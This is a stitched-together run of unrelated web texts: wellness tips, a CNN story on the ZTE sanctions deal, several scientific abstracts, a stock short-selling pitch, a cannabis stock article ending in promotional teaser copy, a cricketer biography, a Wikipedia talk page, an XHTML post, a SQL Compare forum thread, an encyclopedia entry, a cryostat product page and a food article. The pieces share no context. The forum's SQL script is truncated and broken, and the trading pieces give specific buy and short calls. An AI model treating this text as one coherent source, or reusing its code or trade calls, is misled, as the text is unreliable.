Everyone experiences stress in their daily lives. It’s part of what makes you alive. And while your body’s response to stressors can help you in times of danger, it can also quickly snowball out of control.
What Happens When You Experience Stress?
When faced with a stressful situation, the body releases chemicals and hormones like cortisol to stimulate action. You may experience a rapid heart rate, labored breathing, elevated blood pressure, and tense muscles. This is useful in situations where you may be in immediate danger or you have to act fast.
Many people are saddled with chronic stress in their lives. Unfortunately, your body is simply not designed to withstand the symptoms of stress over the long term. Elevated cortisol levels from stress can wreak havoc on your health, contributing to diabetes, high blood pressure, and a number of other chronic conditions.
Stress can also cause tension headaches. These can keep you from spending quality time with your family and participating in activities you enjoy. That can lead to increased stress, which will compound the problem.
Be Aware of Your Stress Triggers
Some things that seem stressful to you may not cause your best friend to think twice. Identify the situations, people, or times that cause you to feel most stressed. Once you know what these triggers are, work to avoid them when possible.
Conquer Stress Naturally
Of course, you can’t always avoid stress. Luckily, stress doesn’t have to define you or your mood. Be prepared the next time it comes knocking on your door with one of these seven natural ways to relieve stress.
1. Reduce Caffeine Intake
Caffeine raises cortisol levels and acts as a stimulant on the body. This can easily exacerbate the symptoms of stress like elevated blood pressure and heart rate. High levels of caffeine can lead to chronically elevated cortisol levels.
2. Get Moving
Regular exercise is one surefire way to help moderate moods and combat the effects of stress. You don’t have to go all out, either. Simply taking a walk can help regulate your body and return stress levels to normal.
Aim to get around 30 minutes of moderate exercise most days. Don’t beat your self up if you skip a day or two, just work to get back on track.
A side bonus of exercise is that it can help relieve symptoms of some health conditions, like high blood pressure and uncontrolled blood sugar, that are brought on by chronic stress.
3. Practice Gratitude
Don’t just say thank you, but really learn to appreciate the world around you. Take time to recognize the beauty of nature, appreciate the friends and family you have, and acknowledge the many things you have worked hard to earn.
The simple act of turning your attention to the amazing bounty you are surrounded with every day can help take the edge off when things don’t go quite the way you had hoped. Try making a simple gratitude jar that you can fill throughout the week. Each time you pass it, add a small stone or marble to the jar and say or think of something you are grateful for. As your jar fills up you will have a chance to actually see how much you have to be grateful for.
4. Try Aromatherapy
Certain smells can make you feel happy, sad, energized, or relaxed. Aromatherapists have known these secrets for many years, but more people are finding the benefits of adding specific scents to their environment.
Soothing lavender or lemon balm are excellent choices to help combat stress. Some people find the uplifting scents of lemon, Bergamot, and other citruses to be helpful as well. If you are unsure about what scent to try, consider using a pre-blended formula. Some companies offer blends designed to soothe, relax, or uplift, and you are sure to find one that works for you.

5. Take a Deep Breath
Meditation and focused breathing have been shown to reduce stress and lower cortisol levels naturally. Consider learning a basic meditation technique to help regulate your response to stress. If you’re not quite ready to try meditation, deep breathing can also be effective.
6. Chew Gum
There is evidence that chewing gum can lower cortisol levels, particularly during stressful situations. Since cortisol is responsible for the body’s physical reaction to stress, chewing gum may help return your body to a calmer, more relaxed state. So, the next time you are experiencing a stressful situation, reach for a piece of gum to chew your way to a better mood.
7. Find Strength in Numbers
Social interaction is a fun and easy way to combat anxiety and depression that can result from feeling stressed. Call a few friends and make plans to get together. And who knows? You may realize things aren’t so bad as you talk them through and lean on your friends for support.
A little stress can be good. Chronic stress, however, can lead to a host of health and other problems. Find your balance by using one of these seven natural ways to relieve stress in your life.

Trump administration has briefed Congress on tentative deal with China's ZTE
(CNN)The Commerce Department informed lawmakers on Friday of the outlines of a tentative deal that could save sanctioned telecommunications company ZTE, a key priority for Chinese President Xi Jinping, according to two people familiar with the matter. A completed deal is considered a key piece of the ongoing trade negotiations with China. However, news of the deal was met with public backlash from members of both parties on Friday. The people cautioned that the potential deal was presented as not final -- meaning things could change, particularly as bipartisan congressional blowback intensifies. But it would include a significant fine, north of $1 billion, and require the company, which is barred from buying US products due to sanctions violations, to install a new compliance regime and make management changes. If those changes are made, the Commerce Department's "denial order," which led the company to say it had halted "major operating activities," would be lifted, the people said. President Donald Trump, in a tweet criticizing former President Barack Obama and Senate Minority Leader Chuck Schumer on Friday evening, wrote of the deal, "I closed (ZTE) down then let it reopen with high level security guarantees, change of management and board, must purchase U.S. parts and pay a $1.3 Billion fine." The outlines were among the options presented to skeptical Republican senators during a closed-door briefing led by Treasury Secretary Steve Mnuchin and Commerce Secretary Wilbur Ross on Wednesday, another source said. The administration's push to reach an agreement on ZTE has been a major piece of its trade negotiations with China, which are expected to pick up in earnest when Ross heads to China June 2 through June 4. Xi, the Chinese leader, has personally brought the company up to President Trump multiple times, Trump has told reporters over the past week. Trump, noting the company buys parts for its products from the U.S., has been willing to consider relief as part of those broader trade talks. But Republicans and Democrats have voiced increasingly sharp concern over including the company, which lawmakers say presents a national security risk, in trade negotiations and have already started to move on action to tie the hands of the Trump administration. "It is a great deal... for #ZTE & China," Sen. Marco Rubio posted on Twitter Friday. "#China crushes U.S. companies with no mercy & they use these telecomm companies to spy & steal from us. Many hoped this time would be different. Now congress will need to act." Schumer said the proposed deal "would be helping make China great again" and called on lawmakers to do something to "stop this deal in its tracks." The House on Thursday passed a defense measure that would bar government agencies from using ZTE technology and ban the Pentagon from working with any contractors that work with the company. The Senate version of the defense measure, the annual defense policy bill, was approved in committee on Thursday and includes a different ZTE-related amendment that restricts the ability of the Trump administration to lift the penalties on ZTE without Congressional notification and tacit approval. The Senate will bring that bill to the floor after the Memorial Day recess. "ZTE presents a national security threat to the United States — and nothing in this reported deal addresses that fundamental fact," Sen. Chris Van Hollen, a Maryland Democrat who authored the amendment on ZTE, said in a statement. "If President Trump won't put our security before Chinese jobs, Congress will act on a bipartisan basis to stop him." The House and Senate have also started to move separate measures that would overhaul the Committee on Foreign Investment in the United States (CFIUS) that include similar curbs on lifting penalties on ZTE.

Efficient video coding using visual sensitive information for HEVC coding standard

Abstract
The latest High Efficiency Video Coding (HEVC) standard introduces a large number of inter-mode block partitioning modes. The HEVC reference test model (HM) uses partially-exhaustive tree-structured mode selection which still explores a large number of prediction unit (PU) modes for a coding unit (CU). This impacts on encoding time rise which deprives a number of electronic devices having limited processing resources to use various features of HEVC. By analyzing homogeneity, residual and different statistical correlation among modes, many researchers speed-up the encoding process through the number of PU mode reduction. However, these approaches could not demonstrate similar rate-distortion (RD) performance with the HM due to their dependency on existing Lagrangian cost function (LCF) within the HEVC framework. In this work, to avoid the complete dependency on LCF in the initial phase, we exploit visual sensitive foreground motion and spatial salient metric (FMSSM) in a block. To capture its motion and saliency features, we use the dynamic background and visual saliency modeling respectively. According to the FMSSM values, a subset of PU modes is then explored for encoding the CU. This preprocessing phase is independent from the existing LCF. As the proposed coding technique further reduces the number of PU modes using two simple criteria (i.e. motion and saliency), it outperforms the HM in terms of encoding time reduction. As it also encodes the uncovered and static background areas using the dynamic background frame as a substituted reference frame, it does not sacrifice quality. Tested results reveal that the proposed method achieves an average of 32% encoding time reduction of the HM without any quality loss for a wide range of videos.

Apple's Pending Breakdown Could Lead to Fast Profits in This Small Cap
One way to put lessmoney at risk to play Apple (Nasdaq: AAPL) is via its suppliers. When deciding which one, traders need to be selective and choose one with a decentpositive correlation to Apple's stock price.
iPhone chip supplier Skyworks Solutions (Nasdaq: SWKS) is one such stock and my pick for playing Apple with moreleverage . The stock has abeta of 1.46 versus the S&P 500, whereas Apple more or less is themarket with a beta closer to 0.93.
On the charts, the stock looks eerily similar to Apple and has reached or breached several key Fibonacciretracement levels that currentlyoffer good risk/reward for a short-side trade for a 12% gain.
A simple look at the correlation between Skyworks (yellow line) and Apple (blue line) pretty much sums up all we need to know.Note , however, that the positive correlation hasn't always been this high. In 2011, for example, Skyworks rallied much more than Apple, before coming back down to earth toward the end of the year.
From a longer-term perspective looking back to 2009, nothing hugely significant sticks out on the weekly chart, except maybe an oversimplified uptrend line that still lies below the market.
From the December 2011 lows to the September 2012 highs, Skyworks has failed at all the important Fibonacci retracement support lines, including what in my book is most often support of last resort -- the 61.8% retracement level.
Since early November, the stock has now dipped below the $20 mark on three separate occasions, each time followed by a bounce. Given what I see in the following charts, however, I expect thesupport level near $19.25 to ultimately fail.
Just as I measured the Fibonacci retracement move from the December 2011 to September 2012 swing on the previous chart, in the following chart I am measuring the move lower from the September 2012 highs to the November 2012 lows.
On Dec. 6, Skyworks had retraced 38.2% (an important Fibonacci number) of said move, and again changed course to the downside, where it then retested the early November lows. The more often any given level of support/resistance gets tested, the more meaningful its eventual/potential failure to hold.
In the case of Skyworks, the stock still looks very heavy and should, in time, have enough weight to push through the $19.25 support level. For a potential target in case support breaks, I again turn to the Fibonacci numbers. A 23.6% Fibonacci extension of the September to December swing lower gives us aprice target near $16.30.
Since how this trade works out is largely dependent on Apple, the analysis would not be complete without looking at a chart of Apple.
Much like Skyworks, Apple retraced some of its September to November sell-off, but unlike Skyworks, Apple retraced to the more meaningful resistance level of 50%. This gives me more confidence that the stock's early December highswill hold as resistance and the key support level near $500 will eventually break. And by the way, should Apple break below the $500 support level, its downside target would be near $460, which is about 55 points lower than current levels.
Action to Take --> Short Skyworks at $20.50 or higher. Set stop-loss at $22. Set initial price target at $18 for a potential 12% gain in 4-5 weeks.

Immunity in the Elderly: The Role of the Thymus
R. Aspinall, D. Pitts, A. Lapenna, W. Mitchell
Research output: Contribution to journalArticlepeer-review
35 Citations (Scopus)
Abstract
Adjustments to lifestyle including social and medical changes have led to human populations having increased longevity in many countries, producing shifts in the population demographics. Approximately half of the increase in the world's population by 2050 may be accounted for by the prolonged survival of those over the age of 60. It is possible to age in relatively good health, but this is rare and for the majority of individuals, growing old is associated with functional impairment, an increased risk of developing a degenerative condition, an increased susceptibility to disease and an increased risk of death. The ageing human population is one of the most urgent challenges facing us today. Changes in the immune system are considered to have a critical role in the decline seen with age, since many infectious diseases may no longer kill an individual, but may contribute to more subtle overall changes. So the impact of infections in older individuals should not be measured only in terms of direct mortality rates, but also by their contribution to the 'indirect' mortality rate and to changes in the quality of life. Taking a pragmatic approach, we need to understand the drivers for immune decline if we are to consider intervening therapeutically in this process. One of the central drivers to this process is age-linked atrophy of the thymus and reversal of this process may have a considerable role in reversing immune decline.

Abstract
The low-viscous tricyanomethanide ([TCM](-))-based ionic liquids (ILs) are gaining increasing interest as attractive fluids for a variety of industrial applications. The thermophysical properties (density, viscosity, surface tension, electrical conductivity and self-diffusion coefficient) of the 1-alkyl-3-methylimidazolium tricyanomethanide [C(n)mim][TCM] (n = 2, 4 and 6-8) IL series were experimentally measured over the temperature range from 288 to 363 K. Moreover, a classical force field optimized for the imidazolium-based [TCM](-) ILs was used to calculate their thermodynamic, structural and transport properties (density, surface tension, self-diffusion coefficients, viscosity) in the temperature range from 300 to 366 K. The predictions were directly compared against the experimental measurements. The effects of anion and alkyl chain length on the structure and thermophysical properties have been evaluated. In cyano-based ILs, the density decreases with increasing molar mass, in contrast to the behavior of the fluorinated anions, being in agreement with the literature. The contribution per -CH2- group to the increase of the viscosity presents the following sequence: [PF6](-) > [BF4](-) > [Tf2N](-) > [DCA](-) > [TCB](-) > [TCM](-). [TCM](-)-based ILs show lower viscosity than dicyanamide ([DCA](-))- and tetracyanoborate ([TCB](-))-based ILs, while the latter two exhibit a crossover which depends both on temperature and the alkyl chain length of the cation. The surface tension of the investigated ILs decreases with increasing alkyl chain length. [C(2)mim][TCM] shows an outlier behavior compared to other members of the homologous series. The surface enthalpies and surface entropies for all the studied systems have been calculated based on the experimentally determined surface tensions. The relationship between molar conductivity and viscosity was analyzed using the Walden rule. The experimentally determined self-diffusion coefficients of the cations are in good agreement with the molecular simulation predictions, in which a decrease of the self-diffusion of the cations with increasing alkyl chain length is observed with a simultaneous increase in viscosity and for the longer alkyl lengths the anion becomes more mobile than the cation.

Aurora Cannabis Was the Hottest Big Marijuana Stock in May -- but Will Its Sizzle Soon Fizzle?
It might not quite be summer officially yet, but several pot stocks are already hot. And only one of them with a market cap of greater than $500 million skyrocketed nearly 70% in May -- Aurora Cannabis (NYSE: ACB).
Aurora ranks as arguably the hottest big marijuana stock on the market right now. But could its sizzle soon fizzle? There are three reasons why the answer could be "yes."
Image source: Getty Images.
1. Squeeze freeze
Aurora surprised investors with its better-than-expected Q3 results a couple of weeks ago. Its revenue soared 18% quarter over quarter. Its cash burn was lower than in the past. Put simply, there was a lot to like for most investors. But not for everyone.
At the time of its Q3 update, over 19% of Aurora's outstanding shares were sold short. When Aurora beat expectations, it's a near-certainty that some of the short-sellers quickly moved to cover their losses by buying Aurora stock. This created greater upward pressure on the cannabis producer's share price, which increased short-sellers' anxiety even more. The huge jump for Aurora's shares over the past two weeks looks like a classic short squeeze.
However, short squeezes don't last forever. It's only a matter of time before all of the short-sellers who are going to cover their positions have done so. The end of the short squeeze will also likely mean the end of Aurora's impressive run.
2. Dilution solution
It's no secret that Aurora has been notorious about issuing new stock to raise cash over the last few years. The company's market cap has risen over 16 times more than its share price as a result of the massive stock dilution. But Aurora needed the cash, so taking this route was a necessary evil. Unfortunately, the necessary evil could linger around for a while.
Aurora maintains that it should generate positive adjusted EBITDA in the quarter ending Sept. 30, 2020. However, interim CEO Michael Singer said in the company's Q3 call that there's still considerable uncertainty related to the impact of the COVID-19 pandemic. He acknowledged that Aurora might have to access its at-the-money (ATM) facility to issue more shares. If that happens, more dilution will be on the way -- and so will falling share prices.
Keep in mind, also, that positive adjusted EBITDA isn't true profitability. The "I" in EBITDA stands for interest. Aurora has a huge debt load and will have to pay a lot of interest. The "T" in EBITDA (taxes) will also rear its ugly ahead if and when the company begins to make a profit.
3. The curse of rising expectations
I couldn't think of a rhyme for the third reason why Aurora's sizzle could fizzle. But this final factor could be just as problematic for the company as the potential end of the short squeeze and the prospects for more dilution.
After a long period where no one expected much from Aurora, expectations are now rising for the cannabis producer. Analysts are looking for better numbers in Aurora's future quarterly updates. The company is now at long last jumping in the U.S. cannabis market with its acquisition of Reliva.
However, there can be a curse associated with rising expectations. Aurora now has a higher bar to jump. And there are a lot of things that can go wrong. Retail cannabis stores in Canada might take longer to open than anticipated. Consumers could tighten their belts and spend less on recreational cannabis products. Any failure by Aurora will translate to a harder fall for its stock.
Greater later?
There's one final observation (and rhyme) that I'd like to make about Aurora Cannabis. I think that it's quite possible that the company will be a big winner over the long run despite its current challenges. Yes, Aurora could be greater later.
I still think that the global cannabis market will grow much larger than it is now. I expect that the U.S. will change its federal laws to allow cannabis sooner or later. My take is that Aurora could make it past the difficulties of the present and profit in such an environment.
That's not a resounding endorsement of the stock, mind you. I suspect that Aurora could be successful, but there's no guarantee. Also, while Aurora could be greater later, there are other stocks to buy that are great now.
Here's The Marijuana Stock You've Been Waiting For
A little-known Canadian company just unlocked what some experts think could be the key to profiting off the coming marijuana boom.
And make no mistake – it is coming.
Cannabis legalization is sweeping over North America – 11 states plus Washington, D.C., have all legalized recreational marijuana over the last few years, and full legalization came to Canada in October 2018.
And one under-the-radar Canadian company is poised to explode from this coming marijuana revolution.
Because a game-changing deal just went down between the Ontario government and this powerhouse company...and you need to hear this story today if you have even considered investing in pot stocks.

Wasuderao Sane
Wasuderao Dattatraya Sane (14 January 1914 – 25 February 1991) played 17 matches of first-class cricket for several teams in India from 1937 to 1959.
A left-arm medium-pace bowler and middle-order batsman, in 1947-48 Sane captained Central Provinces and Berar in their only Ranji Trophy victory; he took 4 for 20 and 3 for 35 in the 113-run victory over Mysore. In his only other match as captain he led Madhya Pradesh to an innings defeat against Holkar in 1953–54, taking 6 for 191 in Holkar's innings and top-scoring for Madhya Pradesh with 43 in the second innings.
He played in Vidarbha's debut match in the Ranji Trophy in 1957–58, taking 3 for 45 and 4 for 38 against Uttar Pradesh. A year later, a few days after his 45th birthday, he took his best figures of 6 for 60 for Vidarbha against Madhya Pradesh.
Sane was later an umpire. His elder brother Narayan was also a first-class cricketer and umpire.

Talk:Luca Cambiaso
Can we change the name of this article from "Luca Cambiasi" to "Luca Cambiaso"?
The only reason I can see that Cambiasi is used here is that this article was largely created from a very old encyclopedia entry that (mistakenly) preferred this spelling to the almost universally accepted Cambiaso.
As evidence for this, Google search for "Luca Cambiaso" generates 109,000 results; search for "Luca Cambiasi" generates 4000.
Also, Cambiaso is used at official sites of the Prado, the Louvre, and the Metropolitan Museum.
Cambiaso is the spelling used for the all articles about the artist found at JSTOR, for example:
•Edward J. Olszewski,"Drawings by Luca Cambiaso as a Late Renaissance Model of Invenzione," Cleveland Studies in the History of Art, Vol. 5 (2000), pp. 20-41. Published by Cleveland Museum of Art •Frederick A. Sweet, "Venus and Cupid by Luca Cambiaso," Bulletin of the Art Institute of Chicago (1907-1951), Vol. 37, No. 1 (Jan., 1943), pp.1-3. •Mary Newcome,"Luca Cambiaso. Austin and Genoa," exhibit review in The Burlington Magazine, Vol. 148, No. 1245, (Dec., 2006), pp. 878-880.
Cambiaso was used for the major exhibit of his work at the Blanton Museum in Austin in 2006 and also in his native Genoa in 2007, and for the definitive catalogue that resulted from these exhibits: Luca Cambiaso: 1527-1585, edited by Jonathan Bober, Trans-Atlantic Publications, Inc. (June 30, 2006).
A search at Amazon for books about Luca Cambiaso comes up with 16 pages of results; I see only "Cambiaso" (never "Cambiasi") in book titles from France, the US, Germany, and (by far the greatest number) Italy.
https://www.amazon.com/s?k=Luca+Cambiaso
So I think there is no reason not to change the article to "Luca Cambiaso."

Glad to see Cambiasi had been changed to Cambiaso. I have also changed the spelling for Luca's father and son. Finding references for them is much rarer, but I see the Cambiaso convention for Orazio here at Blanton Museum: http://collection.blantonmuseum.org/Obj16035?sid=168221&x=3034629
And his father's name is given as Cambiaso at this Italian wikipedia page for him: https://it.wikipedia.org/wiki/Giovanni_Cambiaso
I am not finding the Cambiasi spelling for anyone in the family in any modern references.

Why XHTML?
by on July 9th, 2007
We have reached a point where many pages on the WWW contain “bad” HTML. Many will fall, my friend. Talk about strict rules. Lets explore a little history of HTML and XHTML before we answer this ‘WHY’.
The Extensible Hypertext Markup Language, or XHTML, is a markup language that has the same depth of expression as HTML, but also conforms to XML syntax. While HTML prior to HTML 5 was defined as an application of Standard Generalized Markup Language (SGML), a very flexible markup language, XHTML is an application of XML, a more restrictive subset of SGML. Because they need to be well-formed, true XHTML documents allow for automated processing to be performed using standard XML tools—unlike HTML, which requires a relatively complex, lenient, and generally custom parser. XHTML can be thought of as the intersection of HTML and XML in many respects, since it is a reformulation of HTML in XML. XHTML 1.0 became a World Wide Web Consortium (W3C) Recommendation on January 26, 2000. XHTML 1.1 became a W3C Recommendation on May 31, 2001.
There are three formal DTDs for XHTML 1.0, corresponding to the three different versions of HTML 4.01:
XHTML 1.0 Strict is the XML equivalent to strict HTML 4.01, and includes elements and attributes that have not been marked deprecated in the HTML 4.01 specification.
XHTML 1.0 Transitional is the XML equivalent of HTML 4.01 Transitional, and includes the presentational elements (such as center, font and strike) excluded from the strict version.
XHTML 1.0 Frameset is the XML equivalent of HTML 4.01 Frameset, and allows for the definition of frameset documents—a common Web feature in the late 1990s.
The XHTML 2 Working Group is considering the creation a new language based on XHTML 1.1. Between August 2002 and July 2006 the W3C released the first eight Working Drafts of XHTML 2.0, a new version of XHTML able to make a clean break from the past by discarding the requirement of backward compatibility. This lack of compatibility with XHTML 1.x and HTML 4 caused some early controversy in the web developer community. HTML 5 initially grew independently of the W3C, through a loose group of browser manufacturers and other interested parties calling themselves the WHATWG, or Web Hypertext Application Technology Working Group. The WHATWG announced the existence of an open mailing list in June 2004, along with a website bearing the strapline “Maintaining and evolving HTML since 2004.” The key motive of the group was to create a platform for dynamic web applications; they considered XHTML 2.0 to be too document-centric, and not suitable for the creation of forum sites or online shops.
An XHTML document that conforms to an XHTML specification is said to be valid. Validity assures consistency in document code, which in turn eases processing, but does not necessarily ensure consistent rendering by browsers. A document can be checked for validity with the W3C Markup Validation Service. In practice, many web development programs provide code validation based on the W3C standards.
Why XHTML is Preferable and Standard
The following HTML code will work fine if you view it in a browser, even if it does not follow the HTML rules:
<html>
<head>
<title>This is bad HTML</title>
<body>
<h1>Bad HTML
</body>
XML is a markup language where everything has to be marked up correctly, which results in “well-formed” documents. XML was designed to describe data and HTML was designed to display data. Today’s market consists of different browser technologies, some browsers run Internet on computers, and some browsers run Internet on mobile phones and hand helds. The last-mentioned do not have the resources or power to interpret a “bad” markup language.
Therefore – by combining HTML and XML, and their strengths, we got a markup language that is useful and functional as well as compatible now and in the future – XHTML.
XHTML pages can be read by all XML enabled devices and while waiting for the rest of the world to upgrade to XML supported browsers, XHTML gives you the opportunity to write “well-formed” documents now, that work in all browsers and that are backward browser compatible !!!

Foreign key issue if comparing against snapshot
ballrodballrod Posts: 3
edited May 16, 2008 12:39PM in SQL Compare Previous Versions
It appears that if you rename a primary key, foreign key constraints that are depending on the primary key aren't being included properly in the change script if you are comparing against a snapshot. If you are comparing against another db it is fine (we had to create a db and set it up from the snapshot).
1. Started with:
Table A - Primary key named PK_NOT_RIGHT
Table B - Has a column with a foreign key setup to PK_NOT_RIGHT
2. Create snapshot "Initial"
3. Now, rename the primary key on Table A to PK_TABLE_A
4. Create a change script (update.sql) between the db and snapshot "Initial". You will notice that it isn't dropping the foreign key on Table B.
At this point, if you create a db based on snapshot "Initial" and try running change script update.sql, it will error out when dropping the primary key PK_NOT_RIGHT due to the foreign key dependency on the primary key.
However, if you compare your updated db with the db you created from your "Initial" snapshot, it will correctly recognize the dependency and drop the foreign key constraint prior to dropping PK_NOT_RIGHT.
Let me know if you have any issues reproducing this.
Thanks.

Hi Roderick,
I'm sorry to say I couldn't duplicate the problem, at least not on version 6.2.0.271. Here is the script that I had used to create the sample database:
USE [ILikeToRenameThings]

SET ANSI_NULLS ON
GO
SET QUOTED_IDENTIFIER ON
GO
SET ANSI_PADDING ON
GO
CREATE TABLE [dbo].[tableA](
[ID] [int] NOT NULL,

)WITH (PAD_INDEX = OFF, STATISTICS_NORECOMPUTE = OFF, IGNORE_DUP_KEY = OFF, ALLOW_ROW_LOCKS = ON, ALLOW_PAGE_LOCKS = ON) ON [PRIMARY]

REFERENCES [dbo].[tableA] ([ID])
GO
ALTER TABLE [dbo].[tableB] CHECK CONSTRAINT [FK_NOT_RIGHT]
GO
/* Take snapshot at this point */
EXEC SP_RENAME 'PK_NOT_RIGHT', 'PK_TABLE_A'
/* Now compare .snp on the left to ILikeToRenameThings on the right */
• That's the same version we are using. We also duplicated it on two different machines. So, when you tried it, it was correctly dropping the FK on tableB before renaming the PK?

In my example, the keys get dropped in the right order and the update script succeeds. Is there another factor that you think may be the root cause of the problem you're seeing?

Encyclopædia Britannica, Ninth Edition/Blumenbach, Johann Friedrich
BLUMENBACH,, a distinguished physiologist, was born at Gotha on the 11th of May 1752. He studied medicine at Jena, and afterwards at Göttingen, where he took the degree of doctor in 1775. His thesis on that occasion De Generis Humani Varietate Nativa, published in quarto, was the germ of those craniological researches to which so many of his subsequent inquiries were directed; and such was the opinion entertained of his acquirements, that he was appointed an adjunct or extraordinary professor of medicine in the following year, and ordinary professor in 1778; soon after which period he began to enrich the pages of the Medicinische Bibliothek, of which he was editor from 1780 to 1794, with various contributions on medicine, physiology, and anatomy. In physiology he was of the school of Haller, and was in the habit of illustrating his theory by a careful comparison of the animal functions of man with those of the lower animals. His reputation was much extended by
the publication of his excellent Institutiones Physiologicæ, a condensed, well-arranged view of the animal functions, expounded without discussion of minute anatomical details. This work appeared in 1787, and between its first publication and 1821 went through many editions in Germany, where it was the general text-book of the science. It was translated into English in America by Caldwell in 1798, and in London by Elliotson in 1807.
Blumenbach was perhaps still more extensively known by his admirable Handbuch of comparative anatomy, of which the German editions were numerous, from its appearance in 1805 to 1824. It was translated into English in 1809 by the eminent surgeon Lawrence, and again, with the latest improvements and editions, by Coulson in 1827. This manual of Blumenbach's, though slighter than the subsequent works of Cuvier, Carus, and others, and not to be compared with such recent expositions as that of Gegenbaur, will always be esteemed for the accuracy of the author's own observations, and his just appreciation of the labours of his predecessors.
One of the most extensive of Blumenbach's works was the Decas Collectionis suæ Craniorum Diversarum Gentium illustrate, in which accurate though slight delineations of the skulls in his noble collection are given, with brief descriptions of each. It appeared in fasciculi, until sixty crania were represented,—exhibiting in a striking manner the peculiarities in form of the skulls of different nations, and justifying the division of the human race into several great varieties or families, of which he enumerated five—the Caucasian or white race, the Mongolian or Tatar, the Malayan or brown race, the Negro or black race, and the American or red race. The classification he thus proposed has been very generally received, and most later schemes have been modifications of it. For these see the article , vol. ii. p. 113.
Although the greatest part of Blumenbach's long life was passed at Göttingen, in 1789 he found leisure to visit Switzerland, and gave a curious medical topography of that country in his Bibliothek. He was in England in 1788 and 1792. The Prince Regent conferred on him the office of physician to the royal family in Hanover in 1816, and made him knight companion of the Guelphic order in 1821. The Royal Academy of Paris elected him a member in 1831. He died at Göttingen on the 22d of January 1840.

Spectroscopy
Raman, NIR, IR Spectroscopy
Studying the spectral behavior of a material when exposed to a wide band of radiation is a fundamental experimental tool for understanding it’s intrinsic properties and potential uses. ARS builds cryostats that are tailored to the key needs of these sensitive experiments and improve data output with low temperatures, high vacuum, and ultra-low vibrations.
Mössbauer Spectroscopy
Cryogenic Mössbauer Spectroscopy directs a beam of gamma radiation onto a cold sample. This will reveal novel behavior with narrow spectral bands such as isomer shift, magnetic hyperfine splitting, and quadrapole splitting.
Exposing the sample to a high power magnetic field will help to further reveal hyperfine splitting of spectral peaks into sextets, achieved with superconducting magnets that can be integrated into the cryostat.
This is a very sensitive technique that requires minimal mechanical vibrations and high dimensional stability while focusing the beam on the sample. This can be achieve using ultra-low vibration cryostats such as the µDrift, Helitran, or Omniplex cryostats from ARS.
Angle-Resolved Photoemission Spectroscopy (ARPES)
ARPES uses x-rays fired at a sample to observe the surface structure a solid as the excited particles escape from the sample and are collected by a electron detector. Cooling the sample will minimize thermal broadening of the spectral peaks during the experiment.
Using an angle resolved setup is useful particularly for studying the surfaces of 2d materials where the reflection angles are nearly parallel to the surface.
High Quality vacuum, up to UHV bakeable chambers are essential for maintaining surface and detector cleanness. The light source is generally directed from a laser or synchotron.
Fourier-transform infrared spectroscopy (FTIR)
Infrared Radiation is passed through a sample to observer what frequencies are passed or reflected by the sample.
The mirror used to direct the light inside the spectrometer can be oscillated and can deliver amplitude information about the sample’s behavior after data is passed through a Fourier Transform.
magnetic resonance
Using a magnetic field and a RF or light source to excite the sample can reveal magnetic properties of nuclei and their resonant frequency bands.
In a low temperature environment these bands narrow for easier measuring and collection of data from the sample.
Usually performed in high magnetic fields, ARS cryostats can be customized for very small bores while retaining ideal optical access.
Ellipsometry
Using light directed at a sample, material properties such as surface roughness, dielectric function, and other can be measured by a collector after being reflected and polarized by the sample. Performing this experiment in cryogenic vacuum can improve collection rate and reduce noise when measuring the sample.

Vorschmack
Vorschmack or forshmak (Yiddish: פאָרשמאק; from archaic German Vorschmack, "foretaste" or "appetizer" ) is an originally East European dish made of salty minced fish or meat. Different variants of this dish are especially common in Ashkenazi Jewish and Finnish cuisine. Some varieties are also known in Ukrainian, Polish and Russian cuisine.
In Jewish cuisine
According to Gil Marks, the German name points to the possible German origin of this dish. William Pokhlyobkin describes it as an originally East Prussian hot appetizer which was made of fried herring. The dish was adopted and brought eastwards by Ashkenazi Jews which transformed it into a cold appetizer, a pâté made of chopped brined herring. While the name forshmak became common in Ukraine (פֿאָרשמאַק, форшмак), Polish and Lithuanian Jews usually called it gehakte herring ("chopped herring").
Traditional recipes include chopped hard-boiled egg, onion and grated fresh apple. Sometimes potatoes are also added. The appetizer is usually served as a salad or as a spread on bread, crackers or kichlach (cookies). It may also be eaten for breakfast or as a main course, usually with boiled potatoes.
In Russian cuisine
Although nowadays vorschmack is mainly associated with Jewish cuisine in Russia, historically different versions of this dish (форшмак) were known there. These were usually hot zakuski (appetizers) or breakfast dishes. A Gift to Young Housewives, a classical Russian cookbook by Elena Molokhovets, provides three recipes of hot vorschmack in its first edition (1861) and further variants were added in subsequent editions. In one recipe, meat (veal or beef), herring, white bread and onions are minced, mixed with smetana (sour cream) or cream and baked. Other recipes include only herring (without meat), as well as other ingredients, such as potatoes, eggs and apples. Even more elaborate recipes with further details on cooking techniques are given in another classical Russian cookery textbook, The Practical Fundamentals of the Cookery Art (1899–1916) by Pelageya Alexandrova-Ignatieva. It was in particular proposed to place the mixture of minced ingredients inside a kalach, cover it with grated cheese and bake it au gratin. Similar recipes also appear in Cookery (1955), a major cookbook of Soviet cuisine.
In Polish cuisine
As a cold pâté or a hot baked appetizer, various recipes of forszmak (the same pronunciation) are found in old Polish cookery. The recipes are similar to the Russian ones described above. Another variety, a meat stew named forszmak lubelski is known in East Poland (Lublin region), usually made of chopped meat (beef, pork, or chicken), pickled cucumbers, and tomato paste.
In Finnish cuisine
In Finnish cuisine, vorschmack is usually prepared out of ground meat, anchovies or herring and onions. The dish is usually garnished with potatoes, pickles and smetana (sour cream). Snaps is usually served in combination with eating vorschmack. Some recipes include cognac.
There are several stories regarding the origin of the dish, but it has become a traditional Finnish dish as it was one of the favourite appetizers of the Finnish president, statesman, war hero and gourmand Marshall Gustaf Mannerheim. Some sources say Mannerheim brought the dish to Finland from Poland or Russia, but there have not been any definite sources for these claims.
The restaurant Savoy at the top floor of one of the buildings around the Esplanadi in central Helsinki is famous for its vorschmack. The restaurant used to be frequented by Mannerheim and Mannerheim's table at the Savoy was always reserved and, out of respect, no one would ever consider demanding to be seated there. Savoy still today keeps a similar style decor and menu as in the days of Mannerheim.

Va. Tech lifts alert after police do not find a gunman - The Washington Post

